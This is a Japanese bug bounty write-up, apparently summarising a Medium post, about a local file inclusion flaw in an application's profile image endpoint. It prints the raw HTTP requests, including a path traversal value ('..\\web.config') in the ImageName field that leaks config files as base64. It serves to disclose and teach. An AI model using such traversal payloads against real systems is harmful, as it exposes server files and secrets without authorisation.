Hello there, ('ω')ノ
ローカル ファイル インクルージョン (興味深い方法)を。
脆弱性:
LFI
記事:
https://captainhoook.medium.com/local-file-inclusion-interesting-method-8263c2cb7cd2
今回は、BC(Bugcloud)のプログラムで見つけたLFI の脆弱性を共有することに。
LFI とは何かは下記で。
https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601
シナリオ:
バイナリからアプリケーションをインストールした後。
インスタンスは localhost:8020 で到達可能で。
ダッシュボード セクションに飛び込むと。
アバターのファイル アップロード機能が表示されて。
悪意のあるものをアップロードするためにいくつかの。
ファイルアップロードシナリオを試しましたが、それらはすべてうまくいかず。
しばらくすると、リクエストの中にテストすべき興味深いものが見つかって。
アバターを設定するための Post リクエストは次のようなもので。
POST /api/Profile/Image HTTP/1.1
Host: localhost:8020
Content-Length: 17889
Accept: application/json
Authorization: Bearer [TOKEN]
Content-Disposition: form-data; name=""
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhIvKtR8BjTn08lDp
Origin: http://localhost:8010
Referer: http://localhost:8010/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8,de;q=0.7
Connection: close------WebKitFormBoundaryhIvKtR8BjTn08lDpContent-Disposition: form-data; name="uploadFile"; filename="20201179525SECURITYADMIN.jpg"
Content-Type: image/jpegÿØÿà.....
このリクエストを投稿した直後に、アップロードされた画像を見つけるために。
別のリクエストが送信されて。
POST /api/Profile/Profile HTTP/1.1
Host: localhost:8020
Content-Length: 86
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://localhost:8010
Referer: http://localhost:8010/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8,de;q=0.7
Connection: close{"UserId":"SECURITYADMIN","ImageName":"YOUR_IMAGE_UNIQUE_NAME"}
上記のリクエストの ImageName は、テスト対象のパラメータで。
ImageName の値を無効なものに変更すると。
これは、画像を開いたときに発生して。
この動作は、ディレクトリにそのようなファイルまたはイメージがないことを。
示していて。
では、有効なパスを ImageName パラメータに渡すとどうなるか。
この場合、アプリケーションの動作は 2つの動作に分けられて。
A) この URI を持つページは unsafe:data:image/jpeg:base64,.. と表示されて。
(これは、ファイルまたはパスが無効であるか、存在しないことを意味して)
B) この URI を持つページは data:image/jpeg:base64,… と表示されて。
(これは黒いページで、このようなもので)
この動作は、ファイルまたはパスが存在し、画像フェッチャーが。
ファイルのコンテンツを Base64 に変換し。
URI スキームに配置したことを示していて。
たとえば、アプリケーションの web.config を取得するには、下記のとおりで。
POST /api/Profile/Profile HTTP/1.1
Host: localhost:8020
Content-Length: 86
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://localhost:8010
Referer: http://localhost:8010/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8,de;q=0.7
Connection: close{"UserId":"TN2","ImageName":"..\\web.config"}
この要求に対する応答は、前述の B の動作のようなもので。
次に、base64 URI スキームのデコードを開始すると、次のようになって。
web.config の内容がデコードされ、有効で。
Best regards, (^^ゞ